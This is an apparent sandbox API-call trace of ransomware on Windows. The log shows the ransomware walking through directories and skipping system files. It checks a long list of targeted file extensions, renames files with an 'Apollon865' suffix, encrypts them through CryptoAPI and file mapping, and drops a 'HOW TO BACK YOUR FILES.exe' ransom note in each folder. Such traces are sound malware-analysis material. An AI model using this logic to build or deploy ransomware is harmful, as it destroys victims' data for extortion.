	[0037.582] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e862b30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e862b30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.582] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.582] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.582] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0037.582] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e862b30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e862b30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.582] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.582] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0037.582] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0037.582] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0037.582] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e862b30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e862b30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0037.582] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0037.582] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMSDKNS.DTD", cAlternateFileName="")) returned 1
	[0037.583] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.583] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="Apollon865.txt.exe") returned 1
	[0037.583] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2=".") returned 1
	[0037.583] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="..") returned 1
	[0037.583] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="windows") returned 1
	[0037.583] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="bootmgr") returned 1
	[0037.583] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="temp") returned 1
	[0037.583] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="pagefile.sys") returned 1
	[0037.583] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="boot") returned 1
	[0037.583] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="ids.txt") returned 1
	[0037.583] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="ntuser.dat") returned 1
	[0037.583] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="perflogs") returned 1
	[0037.583] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2="MSBuild") returned 1
	[0037.583] lstrlenW (lpString="WMSDKNS.DTD") returned 11
	[0037.583] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\*") returned 61
	[0037.583] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="WMSDKNS.DTD" | out: lpString1="WMSDKNS.DTD") returned="WMSDKNS.DTD"
	[0037.583] lstrlenW (lpString="WMSDKNS.DTD") returned 11
	[0037.583] lstrlenW (lpString="Apollon865") returned 10
	[0037.583] lstrcmpiW (lpString1="MSDKNS.DTD", lpString2="Apollon865") returned 1
	[0037.583] lstrlenW (lpString=".dll") returned 4
	[0037.583] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2=".dll") returned 1
	[0037.583] lstrlenW (lpString=".lnk") returned 4
	[0037.583] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2=".lnk") returned 1
	[0037.583] lstrlenW (lpString=".ini") returned 4
	[0037.583] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2=".ini") returned 1
	[0037.583] lstrlenW (lpString=".sys") returned 4
	[0037.583] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2=".sys") returned 1
	[0037.583] lstrlenW (lpString="WMSDKNS.DTD") returned 11
	[0037.583] lstrlenW (lpString="bak") returned 3
	[0037.583] lstrcmpiW (lpString1="DTD", lpString2="bak") returned 1
	[0037.583] lstrlenW (lpString="ba_") returned 3
	[0037.583] lstrcmpiW (lpString1="DTD", lpString2="ba_") returned 1
	[0037.583] lstrlenW (lpString="dbb") returned 3
	[0037.583] lstrcmpiW (lpString1="DTD", lpString2="dbb") returned 1
	[0037.583] lstrlenW (lpString="vmdk") returned 4
	[0037.583] lstrcmpiW (lpString1=".DTD", lpString2="vmdk") returned -1
	[0037.583] lstrlenW (lpString="rar") returned 3
	[0037.584] lstrcmpiW (lpString1="DTD", lpString2="rar") returned -1
	[0037.584] lstrlenW (lpString="zip") returned 3
	[0037.584] lstrcmpiW (lpString1="DTD", lpString2="zip") returned -1
	[0037.584] lstrlenW (lpString="tgz") returned 3
	[0037.584] lstrcmpiW (lpString1="DTD", lpString2="tgz") returned -1
	[0037.584] lstrlenW (lpString="vbox") returned 4
	[0037.584] lstrcmpiW (lpString1=".DTD", lpString2="vbox") returned -1
	[0037.584] lstrlenW (lpString="vdi") returned 3
	[0037.584] lstrcmpiW (lpString1="DTD", lpString2="vdi") returned -1
	[0037.584] lstrlenW (lpString="vhd") returned 3
	[0037.584] lstrcmpiW (lpString1="DTD", lpString2="vhd") returned -1
	[0037.584] lstrlenW (lpString="vhdx") returned 4
	[0037.584] lstrcmpiW (lpString1=".DTD", lpString2="vhdx") returned -1
	[0037.584] lstrlenW (lpString="avhd") returned 4
	[0037.584] lstrcmpiW (lpString1=".DTD", lpString2="avhd") returned -1
	[0037.584] lstrlenW (lpString="db") returned 2
	[0037.584] lstrcmpiW (lpString1="TD", lpString2="db") returned 1
	[0037.584] lstrlenW (lpString="db2") returned 3
	[0037.584] lstrcmpiW (lpString1="DTD", lpString2="db2") returned 1
	[0037.584] lstrlenW (lpString="db3") returned 3
	[0037.584] lstrcmpiW (lpString1="DTD", lpString2="db3") returned 1
	[0037.584] lstrlenW (lpString="dbf") returned 3
	[0037.584] lstrcmpiW (lpString1="DTD", lpString2="dbf") returned 1
	[0037.584] lstrlenW (lpString="mdf") returned 3
	[0037.584] lstrcmpiW (lpString1="DTD", lpString2="mdf") returned -1
	[0037.584] lstrlenW (lpString="mdb") returned 3
	[0037.584] lstrcmpiW (lpString1="DTD", lpString2="mdb") returned -1
	[0037.584] lstrlenW (lpString="sql") returned 3
	[0037.584] lstrcmpiW (lpString1="DTD", lpString2="sql") returned -1
	[0037.584] lstrlenW (lpString="sqlite") returned 6
	[0037.584] lstrcmpiW (lpString1="NS.DTD", lpString2="sqlite") returned -1
	[0037.584] lstrlenW (lpString="sqlite3") returned 7
	[0037.584] lstrcmpiW (lpString1="KNS.DTD", lpString2="sqlite3") returned -1
	[0037.584] lstrlenW (lpString="sqlitedb") returned 8
	[0037.584] lstrcmpiW (lpString1="DKNS.DTD", lpString2="sqlitedb") returned -1
	[0037.584] lstrlenW (lpString="xml") returned 3
	[0037.584] lstrcmpiW (lpString1="DTD", lpString2="xml") returned -1
	[0037.584] lstrlenW (lpString="$er") returned 3
	[0037.585] lstrcmpiW (lpString1="DTD", lpString2="$er") returned 1
	[0037.585] lstrlenW (lpString="4dd") returned 3
	[0037.585] lstrcmpiW (lpString1="DTD", lpString2="4dd") returned 1
	[0037.585] lstrlenW (lpString="4dl") returned 3
	[0037.585] lstrcmpiW (lpString1="DTD", lpString2="4dl") returned 1
	[0037.585] lstrlenW (lpString="^^^") returned 3
	[0037.585] lstrcmpiW (lpString1="DTD", lpString2="^^^") returned 1
	[0037.585] lstrlenW (lpString="abs") returned 3
	[0037.585] lstrcmpiW (lpString1="DTD", lpString2="abs") returned 1
	[0037.585] lstrlenW (lpString="abx") returned 3
	[0037.585] lstrcmpiW (lpString1="DTD", lpString2="abx") returned 1
	[0037.585] lstrlenW (lpString="accdb") returned 5
	[0037.585] lstrcmpiW (lpString1="S.DTD", lpString2="accdb") returned 1
	[0037.585] lstrlenW (lpString="accdc") returned 5
	[0037.585] lstrcmpiW (lpString1="S.DTD", lpString2="accdc") returned 1
	[0037.585] lstrlenW (lpString="accde") returned 5
	[0037.585] lstrcmpiW (lpString1="S.DTD", lpString2="accde") returned 1
	[0037.585] lstrlenW (lpString="accdr") returned 5
	[0037.585] lstrcmpiW (lpString1="S.DTD", lpString2="accdr") returned 1
	[0037.585] lstrlenW (lpString="accdt") returned 5
	[0037.585] lstrcmpiW (lpString1="S.DTD", lpString2="accdt") returned 1
	[0037.585] lstrlenW (lpString="accdw") returned 5
	[0037.585] lstrcmpiW (lpString1="S.DTD", lpString2="accdw") returned 1
	[0037.585] lstrlenW (lpString="accft") returned 5
	[0037.585] lstrcmpiW (lpString1="S.DTD", lpString2="accft") returned 1
	[0037.585] lstrlenW (lpString="adb") returned 3
	[0037.585] lstrcmpiW (lpString1="DTD", lpString2="adb") returned 1
	[0037.585] lstrlenW (lpString="adb") returned 3
	[0037.585] lstrcmpiW (lpString1="DTD", lpString2="adb") returned 1
	[0037.585] lstrlenW (lpString="ade") returned 3
	[0037.585] lstrcmpiW (lpString1="DTD", lpString2="ade") returned 1
	[0037.585] lstrlenW (lpString="adf") returned 3
	[0037.585] lstrcmpiW (lpString1="DTD", lpString2="adf") returned 1
	[0037.585] lstrlenW (lpString="adn") returned 3
	[0037.585] lstrcmpiW (lpString1="DTD", lpString2="adn") returned 1
	[0037.585] lstrlenW (lpString="adp") returned 3
	[0037.585] lstrcmpiW (lpString1="DTD", lpString2="adp") returned 1
	[0037.586] lstrlenW (lpString="alf") returned 3
	[0037.586] lstrcmpiW (lpString1="DTD", lpString2="alf") returned 1
	[0037.586] lstrlenW (lpString="ask") returned 3
	[0037.586] lstrcmpiW (lpString1="DTD", lpString2="ask") returned 1
	[0037.586] lstrlenW (lpString="btr") returned 3
	[0037.586] lstrcmpiW (lpString1="DTD", lpString2="btr") returned 1
	[0037.586] lstrlenW (lpString="cat") returned 3
	[0037.586] lstrcmpiW (lpString1="DTD", lpString2="cat") returned 1
	[0037.586] lstrlenW (lpString="cdb") returned 3
	[0037.586] lstrcmpiW (lpString1="DTD", lpString2="cdb") returned 1
	[0037.586] lstrlenW (lpString="ckp") returned 3
	[0037.586] lstrcmpiW (lpString1="DTD", lpString2="ckp") returned 1
	[0037.586] lstrlenW (lpString="cma") returned 3
	[0037.586] lstrcmpiW (lpString1="DTD", lpString2="cma") returned 1
	[0037.586] lstrlenW (lpString="cpd") returned 3
	[0037.586] lstrcmpiW (lpString1="DTD", lpString2="cpd") returned 1
	[0037.586] lstrlenW (lpString="dacpac") returned 6
	[0037.586] lstrcmpiW (lpString1="NS.DTD", lpString2="dacpac") returned 1
	[0037.586] lstrlenW (lpString="dad") returned 3
	[0037.586] lstrcmpiW (lpString1="DTD", lpString2="dad") returned 1
	[0037.586] lstrlenW (lpString="dadiagrams") returned 10
	[0037.586] lstrcmpiW (lpString1="MSDKNS.DTD", lpString2="dadiagrams") returned 1
	[0037.586] lstrlenW (lpString="daschema") returned 8
	[0037.586] lstrcmpiW (lpString1="DKNS.DTD", lpString2="daschema") returned 1
	[0037.586] lstrlenW (lpString="db-journal") returned 10
	[0037.586] lstrcmpiW (lpString1="MSDKNS.DTD", lpString2="db-journal") returned 1
	[0037.586] lstrlenW (lpString="db-shm") returned 6
	[0037.586] lstrcmpiW (lpString1="NS.DTD", lpString2="db-shm") returned 1
	[0037.586] lstrlenW (lpString="db-wal") returned 6
	[0037.586] lstrcmpiW (lpString1="NS.DTD", lpString2="db-wal") returned 1
	[0037.586] lstrlenW (lpString="dbc") returned 3
	[0037.586] lstrcmpiW (lpString1="DTD", lpString2="dbc") returned 1
	[0037.586] lstrlenW (lpString="dbs") returned 3
	[0037.586] lstrcmpiW (lpString1="DTD", lpString2="dbs") returned 1
	[0037.586] lstrlenW (lpString="dbt") returned 3
	[0037.586] lstrcmpiW (lpString1="DTD", lpString2="dbt") returned 1
	[0037.586] lstrlenW (lpString="dbv") returned 3
	[0037.587] lstrcmpiW (lpString1="DTD", lpString2="dbv") returned 1
	[0037.587] lstrlenW (lpString="dbx") returned 3
	[0037.587] lstrcmpiW (lpString1="DTD", lpString2="dbx") returned 1
	[0037.587] lstrlenW (lpString="dcb") returned 3
	[0037.587] lstrcmpiW (lpString1="DTD", lpString2="dcb") returned 1
	[0037.587] lstrcmpiW (lpString1="DTD", lpString2="dct") returned 1
	[0037.587] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="WMSDKNS.XML" | out: lpString1="WMSDKNS.XML") returned="WMSDKNS.XML"
	[0037.587] lstrlenW (lpString="WMSDKNS.XML") returned 11
	[0037.587] lstrlenW (lpString="Apollon865") returned 10
	[0037.587] lstrcmpiW (lpString1="MSDKNS.XML", lpString2="Apollon865") returned 1
	[0037.587] lstrlenW (lpString=".dll") returned 4
	[0037.587] lstrcmpiW (lpString1="WMSDKNS.XML", lpString2=".dll") returned 1
	[0037.587] lstrlenW (lpString=".lnk") returned 4
	[0037.587] lstrcmpiW (lpString1="WMSDKNS.XML", lpString2=".lnk") returned 1
	[0037.587] lstrlenW (lpString=".ini") returned 4
	[0037.587] lstrcmpiW (lpString1="WMSDKNS.XML", lpString2=".ini") returned 1
	[0037.587] lstrlenW (lpString=".sys") returned 4
	[0037.587] lstrcmpiW (lpString1="WMSDKNS.XML", lpString2=".sys") returned 1
	[0037.587] lstrlenW (lpString="WMSDKNS.XML") returned 11
	[0037.587] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.Apollon865") returned 82
	[0037.587] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml.apollon865"), dwFlags=0x1) returned 1
	[0037.588] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x148
	[0037.588] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=10191) returned 1
	[0037.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0037.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0037.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0037.589] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0037.590] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0037.590] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0037.590] CreateFileMappingW (hFile=0x148, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ad0, lpName=0x0) returned 0x150
	[0037.591] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ad0) returned 0x100000
	[0037.592] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0037.593] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0037.593] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0037.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0037.593] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0037.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0037.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0037.593] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0037.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0037.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0037.594] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0037.594] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0037.594] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0037.594] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0037.594] CloseHandle (hObject=0x150) returned 1
	[0037.594] CloseHandle (hObject=0x148) returned 1
	[0037.595] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0037.595] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0037.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0037.596] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9269464, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x27cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMSDKNS.XML", cAlternateFileName="")) returned 0
	[0037.596] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0037.596] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0037.596] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail"
	[0037.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0037.596] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0037.596] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail") returned 53
	[0037.596] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail"
	[0037.596] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.596] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.602] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.602] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e8aedf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e8aedf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0037.602] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.602] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.602] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0037.602] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e8aedf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e8aedf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.602] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.602] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0037.602] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0037.602] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0037.602] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6535940, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6535940, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x5e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cAlternateFileName="ACCOUN~3.OEA")) returned 1
	[0037.602] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.602] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="Apollon865.txt.exe") returned -1
	[0037.602] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2=".") returned 1
	[0037.602] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="..") returned 1
	[0037.602] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="windows") returned -1
	[0037.602] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="bootmgr") returned -1
	[0037.602] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="temp") returned -1
	[0037.602] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="pagefile.sys") returned -1
	[0037.602] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="boot") returned -1
	[0037.602] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="ids.txt") returned -1
	[0037.602] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="ntuser.dat") returned -1
	[0037.603] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="perflogs") returned -1
	[0037.603] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="MSBuild") returned -1
	[0037.603] lstrlenW (lpString="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 55
	[0037.603] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\*") returned 55
	[0037.603] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" | out: lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount"
	[0037.603] lstrlenW (lpString="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 55
	[0037.603] lstrlenW (lpString="Apollon865") returned 10
	[0037.603] lstrcmpiW (lpString1=".oeaccount", lpString2="Apollon865") returned -1
	[0037.603] lstrlenW (lpString=".dll") returned 4
	[0037.603] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2=".dll") returned 1
	[0037.603] lstrlenW (lpString=".lnk") returned 4
	[0037.603] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2=".lnk") returned 1
	[0037.603] lstrlenW (lpString=".ini") returned 4
	[0037.603] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2=".ini") returned 1
	[0037.603] lstrlenW (lpString=".sys") returned 4
	[0037.603] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2=".sys") returned 1
	[0037.603] lstrlenW (lpString="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 55
	[0037.603] lstrlenW (lpString="bak") returned 3
	[0037.603] lstrcmpiW (lpString1="unt", lpString2="bak") returned 1
	[0037.603] lstrlenW (lpString="ba_") returned 3
	[0037.603] lstrcmpiW (lpString1="unt", lpString2="ba_") returned 1
	[0037.603] lstrlenW (lpString="dbb") returned 3
	[0037.603] lstrcmpiW (lpString1="unt", lpString2="dbb") returned 1
	[0037.603] lstrlenW (lpString="vmdk") returned 4
	[0037.603] lstrcmpiW (lpString1="ount", lpString2="vmdk") returned -1
	[0037.603] lstrlenW (lpString="rar") returned 3
	[0037.603] lstrcmpiW (lpString1="unt", lpString2="rar") returned 1
	[0037.603] lstrlenW (lpString="zip") returned 3
	[0037.603] lstrcmpiW (lpString1="unt", lpString2="zip") returned -1
	[0037.603] lstrlenW (lpString="tgz") returned 3
